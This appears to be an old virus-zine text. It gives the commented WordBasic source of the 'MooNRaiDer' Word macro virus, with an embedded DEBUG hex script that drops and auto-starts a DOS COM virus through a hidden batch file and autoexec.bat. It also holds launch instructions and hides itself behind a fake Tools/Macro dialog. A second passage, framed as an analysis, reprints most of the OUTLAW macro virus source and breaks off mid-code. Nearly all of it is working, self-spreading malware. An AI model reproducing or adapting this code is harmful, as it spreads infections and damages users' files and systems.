SetProfileString "Intl", "Name", D$    'insert the name into the win.ini, too.

'Now prepare a combination between the second macro and the Backspace Button

ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
End Sub

Sub PayloadMakro
One = 7693
Two = 9216
Num = Int(Rnd() * (Two - One) + One)   
A$ = Str$(Num)                         'Generate a new numba for the third 
A$ = LTrim$(A$)                        'macro.

Beginn = Hour(Now())                   'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"             'And if it's now 1 o'clock then
If B$ = "2" Then C$ = "BY"             'C$ = "AZ"
If B$ = "3" Then C$ = "CX"             'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

K$ = C$ + A$
ZUZ$ = GetDocumentVar$("VirNamePayload")  'so, we need the third macro name.
GP$ = WindowName$() + ":" + ZUZ$          
MacroCopy GP$, "Global:" + K$             'Copy it to normal.dot.
SetProfileString "Intl", "Name3", K$      'insert the name into the win.ini

'Copy the ToolsMacro (macro for the english version of word) and the
'ExtrasMakro (macro for the german version of word) to normal.dot.

MacroCopy WindowName$() + ":ToolsMacro", "Global:ToolsMacro"
MacroCopy WindowName$() + ":ExtrasMakro", "Global:ExtrasMakro"

End Sub

Function CheckInstalled                     'Is normal.dot infected?
CC$ = GetProfileString$("Intl", "Name")     'Get the macro name. 
    CheckInstalled = 0                      'Set CheckInstalled to 0.
    If CountMacros(0) > 0 Then          
        For i = 1 To CountMacros(0)         'If there any macro's
            If MacroName$(i, 0) = CC$ Then  'search the virus macro
                CheckInstalled = 1          'If the normal.dot is infected
            End If                          'CheckInstalled = 1
        Next i
    End If
End Function
---------------------------------------------------------------------------
Macro SH9272
---------------------------------------------------------------------------

Sub MAIN
On Error Goto Finish                        'If there are any error's goto 
                                            'end of macro.
A$ = FileName$()                            'Is a file open?
If A$ = "" Then Goto Finish                 'No, then go to the end.

UZ$ = GetProfileString$("Intl", "Name")     'Get the macro names from 
ZU$ = GetProfileString$("Intl", "Name2")    'the win.ini
ZUZ$ = GetProfileString$("Intl", "Name3")

If CheckInstalledDoc = 1 Then               'Is the active file infected?
        Goto Finish                         'Yes, then goto Finish.
Else
        On Error Resume Next                
        FileSaveAs .Format = 1              'Format the active file to a 
        Routine                             '*.dot file. 
        Crypt                               'Now call "Routine", "Crypt",
        PayloadMakro                        'and "PayloadMakro" and then
        FileSaveAll 1, 0                    'save all.
End If

Finish:
A$ = FileName$()                            'Is a file open?
If A$ = "" Then                             
        Goto Finito                         'No, goto end.
Else
        Insert "e"                          'Yes, then insert a "e" into 
End If                                      'the active file.
Finito:

REM Nothing to do!

Payload_Start:
AK$ = GetProfileString$("Intl", "Name3")    'Get the Payload macro name.

'And start it!

ToolsMacro .Name = AK$, .Run, .Show = 0, .Description = "", .NewName = ""

NO:
End Sub

Sub Crypt
One = 3693
Two = 9917
Num = Int(Rnd() * (Two - One) + One)        'Yeah, and a new numba again.
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Hour(Now())                        'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"                  'And If it's now 1 o'clock
If B$ = "2" Then C$ = "BY"                  'then C$ = "AZ"
If B$ = "3" Then C$ = "CX"                  'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

E$ = C$ + A$
ZU$ = GetProfileString$("Intl", "Name")     'Get the first macro name.
                                            'Copy the macro to the active
                                            'file.
MacroCopy "Global:" + ZU$, WindowName$() + ":" + E$
SetDocumentVar "VirNameDoc", E$             'the doc variable "VirNameDoc"
                                            'contains the macro name now.

'Prepare a combination between the Key "e" and the macro.

ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 1
End Sub


Sub Routine
One = 7393
Two = 9918
Num = Int(Rnd() * (Two - One) + One)        'And now a new numba.
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Hour(Now())                        'Get the hour again.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"                  'If it's 1 o'clock then
If B$ = "2" Then C$ = "BY"                  'C$ = "AZ"
If B$ = "3" Then C$ = "CX"                  'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

D$ = C$ + A$
UZ$ = GetProfileString$("Intl", "Name2")     'Get the second macro name.
                                             'Copy the macro to the active
                                             'file.
MacroCopy "Global:" + UZ$, WindowName$() + ":" + D$
                                             'the doc variable "VirName"
SetDocumentVar "VirName", D$                 'contains the second macro name

'And now prepare a combination between the Backspace Button and the macro.

ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 1
End Sub

Sub PayloadMakro
One = 7369
Two = 9299
Num = Int(Rnd() * (Two - One) + One)         'And we need a numba again.
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Hour(Now())                         'the hour, too.
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "AZ"                   'And if it's 1 o'clock then
If B$ = "2" Then C$ = "BY"                   'C$ = "AZ"
If B$ = "3" Then C$ = "CX"                   'and so on...
If B$ = "4" Then C$ = "DW"
If B$ = "5" Then C$ = "EV"
If B$ = "6" Then C$ = "FU"
If B$ = "7" Then C$ = "GT"
If B$ = "8" Then C$ = "HS"
If B$ = "9" Then C$ = "IR"
If B$ = "10" Then C$ = "JQ"
If B$ = "11" Then C$ = "KP"
If B$ = "12" Then C$ = "LO"
If B$ = "13" Then C$ = "MN"
If B$ = "14" Then C$ = "NM"
If B$ = "15" Then C$ = "OL"
If B$ = "16" Then C$ = "PK"
If B$ = "17" Then C$ = "QJ"
If B$ = "18" Then C$ = "RI"
If B$ = "19" Then C$ = "SH"
If B$ = "20" Then C$ = "TG"
If B$ = "21" Then C$ = "UF"
If B$ = "22" Then C$ = "VE"
If B$ = "23" Then C$ = "WD"
If B$ = "00" Then C$ = "XC"

K$ = C$ + A$
ZUZ$ = GetProfileString$("Intl", "Name3")  'Now we need the third macro name.
                                           'Copy the macro to the active file
MacroCopy "Global:" + ZUZ$, WindowName$() + ":" + K$
                                           'the doc variable "VirNamePayload"
SetDocumentVar "VirNamePayload", K$        'contains now the third macro name.

'Copy the macro's ToolsMacro and ExtrasMakro to the active file.

MacroCopy "Global:ToolsMacro", WindowName$() + ":ToolsMacro"
MacroCopy "Global:ExtrasMakro", WindowName$() + ":ExtrasMakro"
End Sub

Function CheckInstalledDoc                  'Is the active file infected?
On Error Resume Next
CC$ = GetDocumentVar$("VirNameDoc")         'Get the virus macro name.
        CheckInstalledDoc = 0               'Set CheckInstalledDoc to 0
    If CountMacros(1) > 0 Then
        For i = 1 To CountMacros(1)         'There are any macros?
            If MacroName$(i, 1) = CC$ Then  'Search the virus macro.
                CheckInstalledDoc = 1       'If infected CheckInstalledDoc = 1
            End If
        Next i
    End If
End Function

---------------------------------------------------------------------------
Macro SH8185
---------------------------------------------------------------------------

Sub MAIN
On Error Goto Finish                    
        Install                                         'Call "Install"
        If Month(Now()) = 10 And Day(Now()) = 10 Then   
                Insert                                  'Call "Insert"
	Else
                Goto Finish                             'goto end of macro.
	End If
Finish:
End Sub

Sub Insert
FileNew .Template = "Normal.dot"                        'Create a new file.
DocMaximize                                             'maximize it.
InsertPara                                              'insert a empty line.
InsertPara
FontSize 16                                             'Set Fontsize to 16
Bold
ToggleFull                                              'Use the whole screen
Insert "You are infected with the MooNRaiDer Virus!"
InsertPara
InsertPara
Insert "Greetings to all members of Vlad!"
InsertPara
InsertPara
Insert "I hope that's not the end!"
InsertPara
InsertPara
Insert "The scene would be to boring without this very good group!"
InsertPara
InsertPara
InsertPara
Insert "Nightmare Joker"
End Sub

Sub Install
B$ = GetProfileString$("Vlad", "Goodbye") 'Is the the virus already installed?
If B$ = "Yes" Then Goto Finish            'Yes, then goto end of macro.

ChDir "C:\"                               'change directory

Open "goodbye.scr" For Output As #1       'open the "goodbye.scr" file
Print #1, "N GOODBYE.COM"                 'and insert the following lines.
Print #1, "E 0100 2B C0 89 C1 48 2A E8 8B D1 D1 C1 8A D0 F7 F1 F7"
Print #1, "E 0110 F1 F7 F1 F7 F1 F7 F1 49 01 C2 F7 F1 F7 F1 F7 F1"
Print #1, "E 0120 92 BE 00 01 B8 BD 51 CD 21 3D 51 BD 74 53 8C D8"
Print #1, "E 0130 01 D0 8E D8 33 FF 80 3D 5A 75 46 81 6D 03 61 00"
Print #1, "E 0140 81 6D 12 61 00 C6 05 4D 03 45 03 40 8E D8 C6 05"
Print #1, "E 0150 5A C7 45 01 08 00 C7 45 03 60 00 40 06 1F 8E C0"
Print #1, "E 0160 FC 56 B9 5C 03 2E F3 A4 1E 8E D9 8E C0 BE 84 00"
Print #1, "E 0170 BF 3D 01 A5 A5 C7 44 FC 26 01 89 44 FE 1F 1E 07"
Print #1, "E 0180 5E 0E 1F 83 FE 10 72 77 BF 01 01 8B 84 57 03 89"
Print #1, "E 0190 45 FF 8B 84 59 03 89 45 01 8A 84 5B 03 88 45 03"
Print #1, "E 01A0 4F 33 C0 FF E7 47 6F 6F 64 62 79 65 20 65 76 65"
Print #1, "E 01B0 72 79 6F 6E 65 21 0D 0A 56 69 72 75 73 65 73 20"
Print #1, "E 01C0 77 65 72 65 20 66 75 6E 2C 20 62 75 74 20 49 27"
Print #1, "E 01D0 76 65 20 67 6F 74 20 6F 74 68 65 72 20 74 68 69"
Print #1, "E 01E0 6E 67 73 20 49 27 64 20 6C 69 6B 65 20 74 6F 20"
Print #1, "E 01F0 64 6F 0D 0A 51 61 72 6B 2F 56 4C 41 44 0D 0A 8C"
Print #1, "E 0200 C0 05 10 00 2E 01 84 24 01 EB 00 06 1F 05 00 00"
Print #1, "E 0210 8E D0 BC 00 00 33 C0 33 DB 33 C9 33 D2 33 F6 33"
Print #1, "E 0220 FE EA 00 00 00 00 86 C4 3D 51 BD 75 01 CF 3C 4B"
Print #1, "E 0230 74 0F 3C 3D 74 0B 3C 43 74 07 86 C4 EA 00 00 00"
Print #1, "E 0240 00 9C 50 53 51 52 56 57 1E 06 FC 80 FC 6C 74 02"
Print #1, "E 0250 89 D6 0E 07 BF 73 03 B4 60 E8 EF 01 73 03 E9 17"
Print #1, "E 0260 01 0E 1F E8 2E 01 72 F6 BA 73 03 B8 02 3D E8 DA"
Print #1, "E 0270 01 72 EB 93 B4 3F B9 18 00 BA 57 03 E8 CC 01 BE"
Print #1, "E 0280 57 03 B9 02 00 E8 76 01 3D B5 6B 74 5F 3D FA 95"
Print #1, "E 0290 74 5A BE 57 03 B9 05 00 E8 63 01 0B C0 74 45 E8"
Print #1, "E 02A0 E2 00 0B D2 75 3E 3D 00 FA 77 39 3D E9 03 72 34"
Print #1, "E 02B0 50 2D 03 00 A3 53 03 58 05 00 01 A3 22 00 B4 40"
Print #1, "E 02C0 B9 5C 03 33 D2 E8 83 01 72 1A E8 BD 00 BE 52 03"
Print #1, "E 02D0 B9 03 00 E8 28 01 A3 55 03 B4 40 B9 05 00 BA 52"
Print #1, "E 02E0 03 E8 67 01 B4 3E E8 62 01 E9 8C 00 BE 57 03 B9"
Print #1, "E 02F0 14 00 E8 09 01 0B C0 74 EB 83 7C 18 40 74 E5 83"
Print #1, "E 0300 7C 0C FF 75 DF 8B 44 0E A3 0E 01 8B 44 10 A3 13"
Print #1, "E 0310 01 8B 44 14 A3 22 01 8B 44 16 A3 24 01 E8 64 00"
Print #1, "E 0320 B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 89 16"
Print #1, "E 0330 22 00 81 C2 F3 05 83 E2 FE 40 89 44 0E 89 54 10"
Print #1, "E 0340 B4 40 B9 5C 03 33 D2 E8 01 01 72 98 E8 35 00 B9"
Print #1, "E 0350 00 02 F7 F1 0B D2 74 01 40 89 44 04 89 54 02 B9"
Print #1, "E 0360 12 00 E8 99 00 89 44 12 E8 1F 00 B4 40 B9 1C 00"
Print #1, "E 0370 89 F2 E8 D6 00 E9 6C FF 07 1F 5F 5E 5A 59 5B 58"
Print #1, "E 0380 9D E9 B6 FE B8 02 42 E9 03 00 B8 00 42 33 C9 99"
Print #1, "E 0390 E8 B8 00 C3 BE 73 03 80 7C 02 2F 74 5F AC 3C 00"
Print #1, "E 03A0 75 FB 4E 89 36 6F 03 FD AC 3C 5C 75 FB FC AD 89"
Print #1, "E 03B0 36 71 03 8B 0E 6F 03 29 F1 E8 42 00 3D D8 0B 74"
Print #1, "E 03C0 3B 3D 7F F0 74 36 3D 88 5E 74 31 3D B2 3C 74 2C"
Print #1, "E 03D0 3D A5 86 74 27 3D 8E BA 74 22 8B 36 6F 03 80 7C"
Print #1, "E 03E0 FC 2E 75 18 83 EE 03 B9 03 00 E8 11 00 3D EB E6"
Print #1, "E 03F0 74 08 3D 05 D1 74 03 E9 02 00 F8 C3 F9 C3 53 51"
Print #1, "E 0400 56 57 E8 1A 00 33 C0 32 FF 8A D8 AC 30 C3 D1 E3"
Print #1, "E 0410 8B 9F F3 03 30 E3 8B C3 E2 ED 5F 5E 59 5B C3 50"
Print #1, "E 0420 51 52 57 BF F3 03 33 C9 33 C0 88 C8 51 B9 08 00"
Print #1, "E 0430 F8 D1 D8 73 03 35 01 A0 E2 F6 89 05 47 47 59 41"
Print #1, "E 0440 81 F9 00 01 75 E2 5F 5A 59 58 C3 9C 2E FF 1E 3D"
Print #1, "E 0450 01 C3 E9 00 00 00 00 CD 20 00 00 00 00 00 00 00"
Print #1, "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06F0 00 00 00"
Print #1, "RCX"
Print #1, "05F3"
Print #1, "W"
Print #1, "Q"
Close #1                                   'And now close the file.

Open "goodbye.bat" For Output As #1        'open now the "goodbye.bat" file
Print #1, "@echo off"                      'insert now the following lines.
Print #1, "debug < goodbye.scr > nul"
Print #1, "@echo off"
Print #1, "attrib goodbye.* +h"
Close #1                                   'Close it!

Shell "goodbye.bat", 0                     'start the file now.

On Error Goto Finish
Open "c:\autoexec.bat" For Append As #1    'open the "autoexec.bat" file
Print #1, "@echo off"                      'and insert the "Dos" virus name
Print #1, "goodbye.com"                    'to start it.
Close #1                                   'And close it.

SetProfileString "Vlad", "Goodbye", "Yes"  'The virus is now installed.
Finish:                                    'end of macro.
End Sub

----------------------------------------------------------------------------
Macro ToolsMacro
----------------------------------------------------------------------------

Sub MAIN
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
Begin Dialog UserDialog 442, 320, "Macro"
        PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2
	CancelButton 290, 43, 141, 21
        PushButton 290, 72, 141, 21, "&Run", .Definierbar3
        PushButton 290, 102, 141, 21, "&Edit", .Definierbar4
        PushButton 290, 130, 141, 21, "&Delete", .Definierbar5
        PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6
	ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
        Text 6, 223, 93, 13, "Macros &Available In:", .Text1
        Text 7, 259, 109, 13, "Descr&iption:", .Text2
        Text 7, 6, 93, 13, "Macros:", .Text3
	ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
	DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
End Dialog

Redim dlg As UserDialog
x = Dialog(dlg)
Select Case x
Case 0
Cancel
Case 1
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 2
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 3
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 4
MsgBox "Not enough memory", "WordBasic Err = 7"
Case 5
MsgBox "Not enough memory", "WordBasic Err = 7"
End Select
End Sub

'OK, I know that's not the best solution, but it works and I will improve
'it soon.

----------------------------------------------------------------------------
Macro ExtrasMakro
----------------------------------------------------------------------------

Sub MAIN
Dim ComboBox1$(0)
ComboBox1$(0) = ""
Dim ListBox1$(0)
ListBox1$(0) = ""
Dim DropListBox2$(0)
DropListBox2$(0) = "Normal.dot"
Begin Dialog BenutzerDialog 442, 320, "Makro"
	PushButton 290, 14, 141, 21, "Aufz&eichnen...", .Definierbar2
	CancelButton 290, 43, 141, 21
	PushButton 290, 72, 141, 21, "&Ausf�hren", .Definierbar3
	PushButton 290, 102, 141, 21, "&Erstellen", .Definierbar4
	PushButton 290, 130, 141, 21, "L�schen...", .Definierbar5
	PushButton 290, 166, 141, 21, "&Organisieren...", .Definierbar6
	ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1
	Text 6, 223, 93, 13, "&Makros aus:", .Text1
	Text 7, 259, 109, 13, "Beschreibung:", .Text2
	Text 7, 6, 93, 13, "Makro&name:", .Text3
	ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1
	DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2
End Dialog

Redim dlg As BenutzerDialog
x = Dialog(dlg)
Select Case x
Case 0
Abbrechen
Case 1
MsgBox "Nicht gen�gend Arbeitsspeicher!", "WordBasic Err = 7"
Case 2
MsgBox "Nicht gen�gend Arbeitsspeicher!", "WordBasic Err = 7"
Case 3
MsgBox "Nicht gen�gend Arbeitsspeicher!", "WordBasic Err = 7"
Case 4
MsgBox "Nicht gen�gend Arbeitsspeicher!", "WordBasic Err = 7"
Case 5
MsgBox "Nicht gen�gend Arbeitsspeicher!", "WordBasic Err = 7"
End Select
End Sub

'A better ToolsMacro and ExtrasMakro box will be here soon.

----------------------------------------------------------------------------
Macro Start => you need this macro only to start the virus
----------------------------------------------------------------------------
'At first you must copy all macros to a new file and start then
'the "start" macro.

Sub MAIN
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = "SH8004",
.Add, .Context = 3
ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = "SH9272",
.Add, .Context = 3
End Sub

-----------------------------------------------------------------------------

-- NJ --

njoker@hotmail.com


      --------------------------------------------------------------
			    Analysis of a kind of macro virus
		      
			OUTLAW (created by Nightmare Joke)
			     ,
		 By     <****{=============-
			     ' AuRoDrEpH, the Drow
      --------------------------------------------------------------

This virus was very special :
      - no macro (AUTOEXEC, AUTOOPEN or AUTOCLOSE) but it still can infect new files.
		interesting thing, no ??
      - the name of the 3 macros isn't the same on each infection.

I think that this type of virus isn't easy to detect, so you can use some good idea 	

Name of the virus   	= OUTLAW
Author			= Nightmare Joker
Origin		    	= German
Number of macro		= 3
Encrypted		= No
Payload			= play a sound file (.WAV) and print a message on the screen 
				the 20/01.
			  The payload is executed only with WinWord ver 7.0 (Win95)


Now the source :
---------------------------------------------------------- 
Macro M8064

PURPOSE :    To infected the system

Sub MAIN
On Error Goto Done

A$ = NomFichier$()
If A$ = "" Then Goto Finish

If CheckInstalled = 0 Then
	Routine
	Crypt
	PayloadMakro
	FichierEnregistrerTout 1, 1
Else
	Goto Done
End If

Done:
A$ = NomFichier$()
If A$ = "" Then
	Goto Finish
Else
	Insertion " "
End If

Finish:
End Sub

Sub Crypt
-> sub-program to create the name of the macro number 2 and copy to the NORMAL.DOT

One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

E$ = C$ + A$
ZU$ = LitVarDoc$("VirNameDoc")
PG$ = NomFen�tre$() + ":" + ZU$
MacroCopie PG$, "Global:" + E$
SetProfileString "Intl", "Name2", E$

-> link this macro with the keyboard E... so when the user hit the "E" is launch this macro
OutilsPersonnaliserClavier .CodeTouche = 69, .Cat�gorie = 2, .Nom = E$, .Ajouter, .Contexte = 0
End Sub


Sub Routine
-> sub-program to create the name of the macro number 1 and copy to the NORMAL.DOT
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

D$ = C$ + A$
UZ$ = LitVarDoc$("VirName")
GP$ = NomFen�tre$() + ":" + UZ$
MacroCopie GP$, "Global:" + D$
SetProfileString "Intl", "Name", D$

-> link this macro with the keyboard Space... so when the user hit "Space" is launch this macro
OutilsPersonnaliserClavier .CodeTouche = 32, .Cat�gorie = 2, .Nom = D$, .Ajouter, .Contexte = 0
End Sub

Sub PayloadMakro
-> sub-program to create the name of the macro number 3 (payload) and copy to the NORMAL.DOT
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Heure(Maintenant())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

K$ = C$ + A$
ZUZ$ = LitVarDoc$("VirNamePayload")
GP$ = NomFen�tre$() + ":" + ZUZ$
MacroCopie GP$, "Global:" + K$
SetProfileString "Intl", "Name3", K$
End Sub

Function CheckInstalled
-> test if the virus is still install on the NORMAL.DOT

CC$ = GetProfileString$("Intl", "Name")
    CheckInstalled = 0
    If CompteMacros(0) > 0 Then
        For i = 1 To CompteMacros(0)
            If NomMacro$(i, 0) = CC$ Then
                CheckInstalled = 1
            End If
        Next i
    End If
End Function
----------------------------
Macro M8151

PURPOSE :	It is the virus payload (no danger...)

Declare Function GetWindowsDirectoryA Lib "Kernel32"(WinDir$, nSize As Long) As Long
